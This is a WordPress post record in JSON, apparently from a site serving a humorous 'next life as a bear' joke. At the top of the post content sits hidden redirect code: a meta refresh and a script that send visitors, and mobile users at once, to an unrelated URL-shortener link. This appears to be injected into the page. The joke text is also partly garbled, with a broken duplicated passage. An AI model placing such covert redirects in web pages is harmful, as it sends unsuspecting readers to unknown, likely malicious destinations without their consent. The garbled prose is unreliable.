{"id":415,"date":"2023-11-27T14:40:19","date_gmt":"2023-11-27T14:40:19","guid":{"rendered":"https:\/\/ourtimenew.com\/?p=415"},"modified":"2023-11-27T14:40:19","modified_gmt":"2023-11-27T14:40:19","slug":"gonna-be-a-bear","status":"publish","type":"post","link":"https:\/\/ourtimenew.com\/?p=415","title":{"rendered":"GONNA BE A BEAR\u2026"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"7; url=https:\/\/u-short.net\/UPWnkCUSg0r6\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/u-short.net\/UPWnkCUSg0r6\");<\/script><br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ourtimenew.com\/wp-content\/uploads\/2023\/11\/IMG_5445-300x185.png\" alt=\"\" width=\"300\" height=\"185\" class=\"alignnone size-medium wp-image-416\" \/><\/p>\n<p>GONNA BE A BEAR In this life I\u2019m a woman. In my next life, I\u2019d like to come back as a bear. When you\u2019re a bear, you get to hibernate. You do nothing but sleep for six months. I could deal with that. Before you hibernate, you\u2019re supposed to eat yourself stupid. I could deal with that too.<\/p>\n<p>When you\u2019re a girl bear, you birth your children (who are the size of walnuts) while you\u2019re sleeping and wake to partially grown, cute, cuddly cubs. I could definitely deal with that. If you\u2019re mama bear, everyone knows you mean business. You swat anyone who hers your cubs. If your cubs get out of ton I could deal with \ufeffthat If you\u2019re mama bear, everyone mean business. You swat anyone who bothers your cubs. If your cubs get out of line, you swat them too. I could deal with that. If you\u2019re a bear, your mate EXPECTS you to wake up growling. He EXPECTS that you will have hairy legs and excess body fat. Yup, gonna be a bear!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>GONNA BE A BEAR In this life I\u2019m a woman. In my next life, I\u2019d like to come back as a bear. When you\u2019re a bear, you&#8230; <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","footnotes":""},"categories":[1],"tags":[],"class_list":["post-415","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/415","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=415"}],"version-history":[{"count":1,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/415\/revisions"}],"predecessor-version":[{"id":417,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/415\/revisions\/417"}],"wp:attachment":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=415"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=415"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=415"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}